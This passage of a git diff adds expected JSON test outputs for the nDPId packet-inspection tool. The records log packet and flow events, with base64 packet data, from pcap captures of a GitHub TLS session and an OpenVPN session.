Ri4PT7FmRcy7BiM+vEMpmQhhcsHEDSwUogrH2ib0rGPErCz0ueIHx\/vOHdUU1+AeT8uGqqoHksrDau3Y7k1t30UvFlL31FK0qHiDOKQgodqrurXZNaYVej9rxpQbFS8EfL9SvKdu38O9NW+jhaJElXYwHE07vbcLezEhyWGjdgh5LBNDIncOSYX3fbXlIXYBCFwnW9v\/1y6GeFFy1ZXKH4cDUFXqre4J7ux5Poq7yEjdRqtLZuGNYycd7VzrdiULeTzDJ3uwU5ifhfAcZ4s3vH5ECgZMwIDAQABo4IBSTCCAUUwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEsGA1UdHwREMEIwQKA+oDyGOmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEhpZ2hBc3N1cmFuY2VFVlJvb3RDQS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmQ="} +01371{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113657,"pkt_ts_usec":863749,"pkt_caplen":768,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":768,"pkt_l4_len":734,"pkt":"KDc3AG3IEBMx8Tl2CABFAALywPxAADIGxP2MUnIEwKgBDQG72cCAzdvt9P6ghYAYAB33cAAAAQEICg4LEDgealwzaWdpY2VydC5jb20vQ1BTMB0GA1UdDgQWBBQ901Cl1qCt7vNKYApl0yHU+PjWDzAfBgNVHSMEGDAWgBSxPsNpA\/i\/RwHUmCYaCALvY2QrwzANBgkqhkiG9w0BAQsFAAOCAQEAnbbQkIbhhgLtxaDwNBx0wY12zIYKqPBKikLWP8ipTa18CK3mtlC4ohpNiAexKSHc59rGPCHg4xFJcKx6HQGkyhE6V6t9VypAdP3THYUYUN9XR3WhfVUgLkc3UHKMf4Ib0mKPLQNa2sPIoc4sUqIAY+tzunHISScjl2SFnjgOrWNoPLpSgVh5oywM395t6zHyuqB8bPEs1OG9d4Q3A84ytciagRpKkk47RpqF\/oOi+Z6Mo8wNXrM9zwR4jxQUezKcxwCmXMS1oVWNWlZopCJwqjyBcdmdqEU79OX2olHdx3ti6G8MdOu42vi\/hw15UJGQmxg7kVkn8TUoE6smftX3ehYDAwFNDAABSQMAF0EEviPCEhvi59\/6T9MgEZKwV0P2OvDb2lxoYjEG5vsi\/GBNZCvMQIi4iYKpdl7TR+23s\/ToYG3xlEUBwWaysxfvXQQBAQAuBk8cLaFssUGAuvswNmrq02lhqwkXi\/wU3UU\/AkCzSFmjQ7wtJWrU6hSUZ3hAmh91DpceCCVQ7Rxf8xfryCEZbPNuCh64PhEwWNMp019JpkISwyTNXz46vjxbrUxGhmOrmMzcmFRZ7q+hZZLhwxYyuxOKIY7fn5T8gFT89sb9ufiteD0BXA85KIh\/u76cpH0g38RNfBIRSXrsarDNoXdFIFX9ODLWnob+HV5b6AIqoQRFrLU3nkOyBjYjY2qp2BhwJZsxq5AIwHNywkgA9gqiVHOKjNlJl58wcfvlk2UlkCpulNjNTECyXO1XUcWtPSrkT12iLElSLvMrMg5St+uKFgMDAAQOAAAA"} +01085{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":7,"source":"443-git.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":7,"flow_first_seen":1581113657633,"flow_last_seen":1581113657863,"flow_tot_l4_data_len":4311,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1456,"flow_avg_l4_data_len":615,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"140.82.114.4","src_port":55744,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Github","breed":"Acceptable","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"github.com","server_names":"github.com,www.github.com","ja3":"2a26b1a62e40d25d4de3babc9d532f30","ja3s":"ae53107a2e47ea20c72ac44821a728bf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 Extended Validation Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=GitHub, Inc., CN=github.com","alpn":"http\/1.1","fingerprint":"CA:06:F5:6B:25:8B:7A:0D:4F:2B:05:47:09:39:47:86:51:15:19:84"}} +00424{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113657,"pkt_ts_usec":863825,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGerjAqAENjFJyBNnAAbv0\/qCFgM3b7YAQD9E\/1QAAAQEICh5qXKIOCxA4"} +00423{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113657,"pkt_ts_usec":863827,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGerjAqAENjFJyBNnAAbv0\/qCFgM3eq4AQD7s9LQAAAQEICh5qXKIOCxA4"} +00599{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113657,"pkt_ts_usec":874902,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAGejrAqAENjFJyBNnAAbv0\/qCFgM3eq4AYEAAyjAAAAQEICh5qXKwOCxA4FgMDAEYQAABCQQR4DzL7VHI2p9Wsor\/3Vo+N5AnUsHpLTKA09EA6pNCLHfqzPZDgrXdy4uSgcbnJbZZgDjW0mC8atlmChwGPzYamFAMDAAEBFgMDACgAAAAAAAAAAHd9Rs8Pb0Y7rv\/z7IipdV0+VbYENXE30Jp+r4B5hI8\/"} +00494{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113657,"pkt_ts_usec":987743,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnwP1AADIGx4eMUnIEwKgBDQG72cCAzd6r9P6hA4AYAB2mngAAAQEICg4LEFYealysFAMDAAEBFgMDACiJm0EBvvRKLB1Cn3ghSvpVRDlZi1fe4L68mfAevWJ7jPFkSHcNZZTo"} +00426{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113657,"pkt_ts_usec":987809,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGerjAqAENjFJyBNnAAbv0\/qEDgM3e3oAQD\/47pQAAAQEICh5qXRgOCxBW"} +00705{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113657,"pkt_ts_usec":988380,"pkt_caplen":273,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":273,"pkt_l4_len":239,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEDAABAAEAGeenAqAENjFJyBNnAAbv0\/qEDgM3e3oAYEACF3gAAAQEICh5qXRgOCxBWFwMDAMoAAAAAAAAAAZteE2M50auMrOtfwzcbrjE5WSBBGbdFq8Wv4YIfG49Pd6pjfLi8bvfrvWBPpyLBoiAfBJfKXWUmVmlXSRH2FbhdbL6+RF4mftwCy7PUQCTF7z1+QJXZiylicLOVB6F+QgE78ERJTYJZ5fqeUMaOnSKsYbY3QkmS8On68oWh9PJWvTllzj24jo7NW0yhQmQ5nrxaN845D0504ebzIYNzgvXdV6rf08Iu+PMC6t\/37IhUjJDXatJxPaJ40aWY6+Eo3mch"} +00928{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113658,"pkt_ts_usec":131245,"pkt_caplen":437,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":437,"pkt_l4_len":403,"pkt":"KDc3AG3IEBMx8Tl2CABFAAGnwP5AADIGxkaMUnIEwKgBDQG72cCAzd7e9P6h0oAYAB5pFgAAAQEICg4LEHoeal0YFwMDAW6Jm0EBvvRKLb0S9s4ZFGBMJ3epNReWPVZ+jw3d4XVirOKjdNQAI7COlaOiHvNnTlNKp9qv2guBbvHpG8VXnNVC6PdTOxzmNCoVDBZCBZ6MYz8O2gPsFtxZfR3mpveIPegsG09ZTcLM6rMjQHHhOvjdbMQWmvijnpwY3AK8Ou7KDDLoTZtSqnHEEk0HDk8nzvykyDh3WKm2+6v72\/VImnsPeZqMVEifVcU00r4L8C1rn0dMsQnWSzwNg96VpSxg69HXwCoAXbkeTTBTAnyJZTMWWWRvohuzcXJxklcxh3\/XPOYK0t65bhJkDrCUb\/IsRoynsBkL\/+JuUPaSYE0mPT6LYxqv38aXfY9q7gkPKraZ5Xwy02FbwvU9GD59UHHdsPaIKgBceRC+qceZ1jgF6QLKvYkBkpwqtV2vcYSbR1a\/Jj413t8tPLLJwVanjG6CEkcGGQijHtu6RnBIo3+JkhpBZ+rXrOklbvVPqr2Eg84="} +00528{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113658,"pkt_ts_usec":131250,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB+wP9AADIGx26MUnIEwKgBDQG72cCAzeBR9P6h0oAYAB7pmQAAAQEICg4LEHoeal0YFwMDAEWJm0EBvvRKLmX7drjPshGyaEJWmqcp1RQ+pyLs4CGONTV6yT1TRVDipzhBBC2J7XfD1QzS\/vH7qDNCq0AYEKrGNVvpC2I="} diff --git a/test/results/443-opvn.pcap.out b/test/results/443-opvn.pcap.out new file mode 100644 index 000000000..b16c2bb5f --- /dev/null +++ b/test/results/443-opvn.pcap.out @@ -0,0 +1,17 @@ +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"443-opvn.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1581153175528,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.84","dst_ip":"192.12.192.103","src_port":52973,"dst_port":1194,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153175,"pkt_ts_usec":528454,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+EfAqAFUwAzAZ87tBKpga1quAAAAALAC\/\/\/PlAAAAgQFtAEDAwUBAQgKFg2AOQAAAAAEAgAA"} +00435{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153175,"pkt_ts_usec":550065,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADYGAkzADMBnwKgBVASqzu1gWZU1YGtar6AScSBwigAAAgQFrAQCCAocQO0VFg2AOQEDAwY="} +00423{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153175,"pkt_ts_usec":550155,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+FPAqAFUwAzAZ87tBKpga1qvYFmVNoAQECwALgAAAQEIChYNgE0cQO0V"} +00485{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153176,"pkt_ts_usec":603974,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"EBMx8Tl2KDc3AG3ICABFAABgAABAAEAG+CfAqAFUwAzAZ87tBKpga1qvYFmVNoAYECxEwAAAAQEIChYNhGMcQO0VACo41nvkW+XCAesBZDX8sdb2DhrIizKVRtw8er8LngAAAAFePnuYAAAAAAA="} +00423{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153176,"pkt_ts_usec":625141,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0eCxAADYGiifADMBnwKgBVASqzu1gWZU2YGta24AQAcUJRgAAAQEIChxA7iIWDYRj"} +00502{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153176,"pkt_ts_usec":626109,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"KDc3AG3IEBMx8Tl2CABFAABseC1AADYGie7ADMBnwKgBVASqzu1gWZU2YGta24AYAcVPwwAAAQEIChxA7iIWDYRjADZAGQgugPnKUoAhWk5EFW4WBnpU\/ornQ3WM1pHQ1gAAAAFePnuYAQAAAADWe+Rb5cIB6wAAAAA="} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"443-opvn.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1581153175528,"flow_last_seen":1581153176626,"flow_tot_l4_data_len":312,"flow_min_l4_data_len":32,"flow_max_l4_data_len":88,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.84","dst_ip":"192.12.192.103","src_port":52973,"dst_port":1194,"l4_proto":"tcp","ndpi": {"proto":"OpenVPN","breed":"Acceptable","category":"VPN"}} +00423{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153176,"pkt_ts_usec":626209,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+FPAqAFUwAzAZ87tBKpga1rbYFmVboAQECr6lAAAAQEIChYNhHccQO4i"} +00500{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153176,"pkt_ts_usec":626548,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"EBMx8Tl2KDc3AG3ICABFAABoAABAAEAG+B\/AqAFUwAzAZ87tBKpga1rbYFmVboAYEColyAAAAQEIChYNhHgcQO4iADIo1nvkW+XCAevrBy2vwZH\/+bWS\/9mZxBfmMUqaFQAAAAJePnuYAQAAAAAZCC6A+cpSgA=="} +00423{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153176,"pkt_ts_usec":683495,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0eC5AADYGiiXADMBnwKgBVASqzu1gWZVuYGtbD4AQAcUItgAAAQEIChxA7jEWDYR4"} +00863{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153176,"pkt_ts_usec":683641,"pkt_caplen":387,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":387,"pkt_l4_len":353,"pkt":"EBMx8Tl2KDc3AG3ICABFAAF1AABAAEAG9xLAqAFUwAzAZ87tBKpga1sPYFmVboAYECoBKwAAAQEIChYNhLAcQO4xAT8g1nvkW+XCAes3EAx\/GqEO3Ph51UACdeTFONHcDAAAAANePnuYAAAAAAEWAwEBEAEAAQwDA++NWhN5Tk\/ANmbagLd6yyKw8+TedT+\/D6LtzejhgoZXIB\/PR+3JuRDmhCwtpPhzz6xxLrKdnbOYqJLwJ67iAVQFADITAhMDEwHALMAwAJ\/MqcyozKrAK8AvAJ7AJMAoAGvAI8AnAGfACsAUADnACcATADMA\/wEAAJEACwAEAwABAgAKAAwACgAdABcAHgAZABgAFgAAABcAAAANADAALgQDBQMGAwgHCAgICQgKCAsIBAgFCAYEAQUBBgEDAwIDAwECAQMCAgIEAgUCBgIAKwAJCAMEAwMDAgMBAC0AAgEBADMAJgAkAB0AIAKZf59ylmrdrVsoBgXLb0\/7IIDGqcgzqcALpKhtp5VQ"} +00425{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153176,"pkt_ts_usec":704736,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0eC9AADYGiiTADMBnwKgBVASqzu1gWZVuYGtcUIAQAdYHJwAAAQEIChxA7jYWDYSw"} +01999{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153176,"pkt_ts_usec":716504,"pkt_caplen":1236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1236,"pkt_l4_len":1202,"pkt":"KDc3AG3IEBMx8Tl2CABFAATGeDBAADYGhZHADMBnwKgBVASqzu1gWZVuYGtcUIAYAdYFBwAAAQEIChxA7jgWDYSwBJAgGQgugPnKUoCcn87eQnHo7up08Dpbo6I5pTy1LwAAAAJePnuYAQAAAAHWe+Rb5cIB6wAAAAEWAwMAMQIAAC0DA+SMXY8OV\/qo2CIkxHQhX30QX+ELAsyW0AuKhGYFHLJzAACfAAAF\/wEAAQAWAwMHIQsABx0ABxoAA7cwggOzMIIDHKADAgECAgEBMA0GCSqGSIb3DQEBBQUAMHwxCzAJBgNVBAYTAklUMQswCQYDVQQIEwJJVDENMAsGA1UEBxMEUGlzYTEUMBIGA1UEChMLUmVnaXN0cm8uaXQxFzAVBgNVBAMTDlJlZ2lzdHJvLml0IENBMSIwIAYJKoZIhvcNAQkBFhNzeXNhZG1pbkBpaXQuY25yLml0MB4XDTEwMTExNjA5MjEyM1oXDTIwMTExMzA5MjEyM1owdDELMAkGA1UEBhMCSVQxCzAJBgNVBAgTAklUMQ0wCwYDVQQHEwRQaXNhMRQwEgYDVQQKEwtSZWdpc3Ryby5pdDEPMA0GA1UEAxMGc2VydmVyMSIwIAYJKoZIhvcNAQkBFhNzeXNhZG1pbkBpaXQuY25yLml0MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDIZ68ltIGKUwiIel2TO9IALNTXLzF+SX00Nb3av1edeJr2ASekTnMcbMiTINGp6w02gkUCOJVP6VbbMqiK9U0L+wlEw0fd6AjAUPFaZN0yAHE3BTxQquUxTyD32DU\/\/XzFNdJ0PNRsDib\/zxB4NBs0nFxrufiQGKK1GaU6NngP2wIDAQABo4IBSzCCAUcwCQYDVR0TBAIwADARBglghkgBhvhCAQEEBAMCBkAwNAYJYIZIAYb4QgENBCcWJUVhc3ktUlNBIEdlbmVyYXRlZCBTZXJ2ZXIgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFP0ik8k+g+6v7fCok6aDlnsMJG3aMIGvBgNVHSMEgacwgaSAFEQ23zR7aSUDBdrcUm7GMs0WGOYIoYGApH4wfDELMAkGA1UEBhMCSVQxCzAJBgNVBAgTAklUMQ0wCwYDVQQHEwRQaXNhMRQwEgYDVQQKEwtSZWdpc3Ryby5pdDEXMBUGA1UEAxMOUmVnaXN0cm8uaXQgQ0ExIjAgBgkqhkiG9w0BCQEWE3N5c2FkbWluQGlpdC5jbnIuaXSCCQCpnjhj2zCLVzATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBaAwDQYJKoZIhvcNAQEFBQADgYEAL6S2jvtf42vVrAFGZjDsnruXDhmyD0zn+WJtKnqsbuWQWzGtFRrP90jtyAOW1De6ZFQLBKWEjLdut82QZc0k8T\/7xi+\/hKxn6z02OAqVHxFj9j5axLVdRJPwj8+xIG\/8oo8kIbePBR+5jIJzgOlMzUq4GN8pVU16dvVzgxEPtrUAA10wggNZMIICwqADAgECAgkAqZ44Y9swi1cwDQYJKoZIhvcNAQEFBQAwfDELMAkGA1UEBhMCSVQxCzAJBgNVBAgTAklUMQ0wCwYDVQQHEwRQaXNhMRQwEgYDVQQK"} +00425{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153176,"pkt_ts_usec":716616,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+FPAqAFUwAzAZ87tBKpga1xQYFmaAIAQEAX0RAAAAQEIChYNhM8cQO44"} +02370{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153176,"pkt_ts_usec":716678,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUeDFAADYGhILADMBnwKgBVASqzu1gWZoAYGtcUIAQAda19QAAAQEIChxA7jgWDYSwBIQgGQgugPnKUoD7C2lnhAEvosaCXjxmdu0yP19GwQAAAANePnuYAAAAAAITC1JlZ2lzdHJvLml0MRcwFQYDVQQDEw5SZWdpc3Ryby5pdCBDQTEiMCAGCSqGSIb3DQEJARYTc3lzYWRtaW5AaWl0LmNuci5pdDAeFw0xMDExMTYwOTIxMTJaFw0yMDExMTMwOTIxMTJaMHwxCzAJBgNVBAYTAklUMQswCQYDVQQIEwJJVDENMAsGA1UEBxMEUGlzYTEUMBIGA1UEChMLUmVnaXN0cm8uaXQxFzAVBgNVBAMTDlJlZ2lzdHJvLml0IENBMSIwIAYJKoZIhvcNAQkBFhNzeXNhZG1pbkBpaXQuY25yLml0MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5U+RMCjnQuvzHq7fgJqj4uLHJ7OnEz7FRhJd1X2OejtSFzQAmtrpXSRsZp7qg+AMCYF1xaxZFwXQB3B08357haSfPf0dwtxbyBWhKuKcpDUbOHHnxnHM\/lHsYjDmkORj7vNun3TjaGRRFT354vRPW5R34FowfSkg8nOPIS\/XxQQIDAQABo4HiMIHfMB0GA1UdDgQWBBRENt80e2klAwXa3FJuxjLNFhjmCDCBrwYDVR0jBIGnMIGkgBRENt80e2klAwXa3FJuxjLNFhjmCKGBgKR+MHwxCzAJBgNVBAYTAklUMQswCQYDVQQIEwJJVDENMAsGA1UEBxMEUGlzYTEUMBIGA1UEChMLUmVnaXN0cm8uaXQxFzAVBgNVBAMTDlJlZ2lzdHJvLml0IENBMSIwIAYJKoZIhvcNAQkBFhNzeXNhZG1pbkBpaXQuY25yLml0ggkAqZ44Y9swi1cwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOBgQAFrDWUvJgb6V+jqUXLPIy4ULOpRDsWT2XzURZZ5WOkx2Yr118oLxXmc\/wn2vuo5X5vL7P4mB03vuxuhMGYpypFpaOsYQ8VCK5saM8K7FkH5ARTrWnlYFkoyENqP4gyluvwL9L5HJOIkPIT0mnuEavn\/gxAoJUalJftiH3lj8RMUhYDAwGPDAABiwCArmEyht5IZRYD3QKjerugfd2uK8X5lMxAoC23X\/EKay6Z0Gv+5sUenP4qnPZsDv4PVtwiKSrpSMAhi3p0axeMDiy4+lTRjYVxGdsYjHLHNzi3LzksUdUFbjlI0IAaDRNo+U\/ykzXhjwR8Xg3PgRZDE93YimUQelNRFYx5QKHf4MsAAQIAgBa1dFfTT5BBaGSxj8+AJ77nJQGQ\/0BD89QOnGO6\/2EI19BQKjm7JXGJXW\/XnJrfnVk\/8N2nTmcGNUB4\/\/FCRdKr4oMDPvfjuv7e7sdVKkuDL7Sx66IBy\/wRJYVfcbw91CQQeeeo+3TKQEvuccV9rdZlcFVm3BtwirMuWnXmwXgvBAEAgIYPrFjXk+HhdIaSJuUz8sxf\/Zlh+VDsWaHE9qguCnhdnP60TnCzY46o\/HPZZ4NVREClqrMiCt91T8+WjGkRsFq4tzGbARsgGQgugPnKUoDxtf5GQuyTUCf9Slfh\/dOgRpb7sgAAAARePnuYAAAAAAPY5NQn+9kPrOvrL\/kkxwz31Ak4o2EfKMrgrX9szLLjoXryuObF\/zGgNrmyaq8fejBO90nHcxMHu6ZfHIkWAwMAsA0AAKgFAwQBAkAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAwCAAH4wfDELMAkGA1UEBhMCSVQxCzAJBgNVBAgTAklUMQ0wCwYDVQQHEwRQaXNhMRQwEgYDVQQKEwtSZWdpc3Ryby5pdDEXMBUGA1UEAxMOUmVnaXN0cm8uaXQgQ0ExIjAgBgkqhkiG9w0BCQEWE3N5c2FkbWluQGlpdC5jbnIuaXQO"} +00500{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"443-opvn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581153176,"pkt_ts_usec":716855,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"EBMx8Tl2KDc3AG3ICABFAABoAABAAEAG+B\/AqAFUwAzAZ87tBKpga1xQYFmfoIAYD9hfJAAAAQEIChYNhM8cQO44ADIo1nvkW+XCAesovRmAJlqMfsDgqoZ62+nwdLKzdgAAAARePnuYAQAAAAEZCC6A+cpSgA=="} diff --git a/test/results/443-safari.pcap.out b/test/results/443-safari.pcap.out new file mode 100644 index 000000000..4b0c51ecb --- /dev/null +++ b/test/results/443-safari.pcap.out @@ -0,0 +1,19 @@ 